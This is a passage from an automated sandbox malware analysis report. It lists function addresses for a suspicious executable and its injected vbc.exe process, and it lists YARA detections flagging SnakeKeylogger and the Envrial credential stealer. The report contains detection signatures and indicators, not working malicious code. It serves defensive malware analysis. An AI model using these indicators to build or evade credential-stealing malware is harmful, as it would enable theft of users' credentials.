Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A52F98 0_2_07A52F98
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A54FF0 0_2_07A54FF0
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A54640 0_2_07A54640
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A55428 0_2_07A55428
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A55417 0_2_07A55417
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A52B60 0_2_07A52B60
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A50007 0_2_07A50007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555C468 8_2_0555C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555C738 8_2_0555C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555C146 8_2_0555C146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555A088 8_2_0555A088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_05555370 8_2_05555370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555D278 8_2_0555D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555CCD8 8_2_0555CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_05556FC8 8_2_05556FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555CFAA 8_2_0555CFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_05553E09 8_2_05553E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555E988 8_2_0555E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555CA08 8_2_0555CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555E97A 8_2_0555E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0555F961 8_2_0555F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_055529EC 8_2_055529EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_05553AA1 8_2_05553AA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA2A90 8_2_0ABA2A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA1850 8_2_0ABA1850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA5148 8_2_0ABA5148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA1FA8 8_2_0ABA1FA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA9448 8_2_0ABA9448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA9D38 8_2_0ABA9D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABADAB9 8_2_0ABADAB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA2A80 8_2_0ABA2A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABADAC8 8_2_0ABADAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAD218 8_2_0ABAD218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAD209 8_2_0ABAD209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA0B30 8_2_0ABA0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA0B20 8_2_0ABA0B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAE378 8_2_0ABAE378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAE377 8_2_0ABAE377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAF080 8_2_0ABAF080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAF071 8_2_0ABAF071
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA0040 8_2_0ABA0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA1841 8_2_0ABA1841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA5138 8_2_0ABA5138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAF930 8_2_0ABAF930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAF922 8_2_0ABAF922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAD670 8_2_0ABAD670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA9668 8_2_0ABA9668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAD660 8_2_0ABAD660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA1F98 8_2_0ABA1F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAE7D0 8_2_0ABAE7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAE7C0 8_2_0ABAE7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABADF20 8_2_0ABADF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABADF11 8_2_0ABADF11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA8CB1 8_2_0ABA8CB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAF4D8 8_2_0ABAF4D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAF4C8 8_2_0ABAF4C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA8CC0 8_2_0ABA8CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAEC28 8_2_0ABAEC28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABAEC18 8_2_0ABAEC18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABACDAF 8_2_0ABACDAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABACDC0 8_2_0ABACDC0
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_028A4218 9_2_028A4218
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_028A6F93 9_2_028A6F93
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_028AD584 9_2_028AD584
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_04F59AD8 9_2_04F59AD8
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_04F59AC9 9_2_04F59AC9
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C90040 9_2_06C90040
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C94640 9_2_06C94640
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C94FF0 9_2_06C94FF0
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C92F98 9_2_06C92F98
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C92B60 9_2_06C92B60
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C90011 9_2_06C90011
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C95417 9_2_06C95417
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C95428 9_2_06C95428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4C468 17_2_04E4C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4C738 17_2_04E4C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4A088 17_2_04E4A088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4C147 17_2_04E4C147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4D278 17_2_04E4D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E45370 17_2_04E45370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4CCD8 17_2_04E4CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E43E09 17_2_04E43E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E46FC8 17_2_04E46FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4CFAB 17_2_04E4CFAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E468F3 17_2_04E468F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4E988 17_2_04E4E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4CA08 17_2_04E4CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E43B6D 17_2_04E43B6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E429EC 17_2_04E429EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4F974 17_2_04E4F974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E4E97B 17_2_04E4E97B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E43A89 17_2_04E43A89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E43A37 17_2_04E43A37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A219670 17_2_0A219670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A212A98 17_2_0A212A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A2123B0 17_2_0A2123B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A211C58 17_2_0A211C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A215150 17_2_0A215150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A219D98 17_2_0A219D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21D220 17_2_0A21D220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21D673 17_2_0A21D673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21D678 17_2_0A21D678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A212A88 17_2_0A212A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21DACF 17_2_0A21DACF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21DAD0 17_2_0A21DAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A210B20 17_2_0A210B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21DF28 17_2_0A21DF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A210B30 17_2_0A210B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21DF19 17_2_0A21DF19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21E37F 17_2_0A21E37F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A2123A4 17_2_0A2123A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21E380 17_2_0A21E380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21E7C8 17_2_0A21E7C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21E7D8 17_2_0A21E7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21EC30 17_2_0A21EC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A210007 17_2_0A210007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21F079 17_2_0A21F079
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A210040 17_2_0A210040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A211C49 17_2_0A211C49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A219450 17_2_0A219450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A218CB9 17_2_0A218CB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21F088 17_2_0A21F088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21F4E0 17_2_0A21F4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A218CC8 17_2_0A218CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21F4D0 17_2_0A21F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21F92B 17_2_0A21F92B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A219D31 17_2_0A219D31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21F938 17_2_0A21F938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A215140 17_2_0A215140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A21CDC8 17_2_0A21CDC8
Sample file is different than original file name gathered from version info
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000000.1196070581.0000000000ED8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameDuYw.exe6 vs b5Tu0LaQfn6bnAD.exe
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1253688155.0000000003359000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs b5Tu0LaQfn6bnAD.exe
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1261870183.0000000007C30000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameMontero.dll8 vs b5Tu0LaQfn6bnAD.exe
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs b5Tu0LaQfn6bnAD.exe
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1252173285.000000000133E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs b5Tu0LaQfn6bnAD.exe
Source: b5Tu0LaQfn6bnAD.exe Binary or memory string: OriginalFilenameDuYw.exe6 vs b5Tu0LaQfn6bnAD.exe
Uses 32bit PE files
Source: b5Tu0LaQfn6bnAD.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
